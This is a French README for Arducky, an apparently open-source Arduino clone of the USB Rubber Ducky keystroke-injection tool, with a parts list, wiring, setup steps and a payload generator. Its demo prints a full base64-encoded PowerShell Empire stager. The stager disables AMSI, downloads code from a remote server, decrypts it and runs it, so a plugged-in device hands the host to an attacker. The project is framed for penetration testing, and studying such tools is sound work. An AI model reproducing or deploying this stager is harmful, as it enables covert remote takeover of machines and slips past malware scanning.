
Arducky - Interpréteur de scripts Ducky pour Arduino
Ce projet vise à créer une alternative bon marché (mais tout aussi efficace) au USB Rubber Ducky de Hak5.
Le USB Rubber Ducky est un HID (Human Interface Device) programmable avec un langage de script simple permettant aux testeurs de pénétration de concevoir et déployer rapidement et facilement des charges utiles d'audit de sécurité qui imitent la saisie au clavier humaine.
Avec Arducky, vous n'avez à gérer que les scripts Ducky stockés sur une carte MicroSD.
Après la configuration, vous n'aurez plus besoin de reprogrammer votre Arduino pour changer de scripts.
| Quantité | Article | Prix | Description |
|---|
| 1 | Arduino Pro Micro ATmega32U4 5V Board | $4.11 | Compatible avec le protocole USB, peut être utilisé comme souris ou clavier HID |
| 1 | Micro SD Memory Shield | $0.78 | |
| 1 | Micro USB OTG Adapter | $0.99 | Facultatif. Peut être utilisé pour remplacer le câble micro USB |
| 1 | DuPont Wires | $1.28 | |
| 1 | Micro SD Card | $18.00 | Ceci est un exemple, je doute que vous ayez besoin de plus de 1 Go |
Afin d'utiliser votre carte Micro SD avec Arducky, la carte doit être formatée en FAT32.
Je recommande vivement de formater votre carte SD (même si elle est neuve !), en utilisant le SD Memory Card Formatter officiel de la SDA (SD Association), plutôt que les outils de formatage fournis par votre système d'exploitation.
Maintenant que vous avez formaté votre carte MicroSD, connectons le shield MicroSD !
L'interface du contrôleur MicroSD comporte six broches (GND, VCC, MISO, MOSI, SCK, CS).
D'après la documentation SPI d'Arduino, l'interface de contrôle doit être connectée comme suit (à l'aide de fils Dupont) :

Note : Comme mentionné dans la section Matériel, le module est conçu pour interagir avec un µC 5 V, vous aurez donc besoin de la broche 5 V sur votre Arduino.


Clonez le projet :
git clone https://gitlab.com/Creased/arducky
cd arducky/
Si vous utilisez un clavier AZERTY, vous devrez également remplacer votre bibliothèque Keyboard (Keyboard.cpp et Keyboard.h) par celle incluse.
Téléversez le sketch arducky.ino sur votre carte Arduino à l'aide de l'IDE Arduino.
Pour générer le fichier arducky_femto.ino avec une charge utile Ducky Script, vous pouvez utiliser femto_generate_payload.py :
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Generates payload in arducky_femto.ino from an input Rubber Ducky payload file
positional arguments:
payload_file input Rubber Ducky payload file
optional arguments:
-h, --help show this help message and exit
-i ino_file, --ino ino_file
input Arducky ino file
-o output_file, --out output_file
output Arducky ino file
Exemple :
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire est un framework de post-exploitation implémentant la capacité d'exécuter des agents PowerShell sans avoir besoin de powershell.exe, des modules de post-exploitation rapidement déployables allant des keyloggers à Mimikatz.
Dans cette démo, nous déploierons un Empire sur un serveur distant (comme un VPS) sur un nœud Docker et utiliserons Arducky pour le rejoindre.
Veuillez suivre les étapes décrites dans ce guide.
En configurant un nouvel Empire, vous devriez obtenir une charge utile telle que (voir le dossier demo/) :
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
Enregistrez-la dans un fichier nommé stager.txt et exécutez le script create_script.sh pour créer le script Ducky :
./create_script.sh
Copiez le fichier script.txt généré à la racine du système de fichiers de votre carte MicroSD et alimentez l'Arducky.
Voici une vidéo démontrant l'attaque :
Voilà !
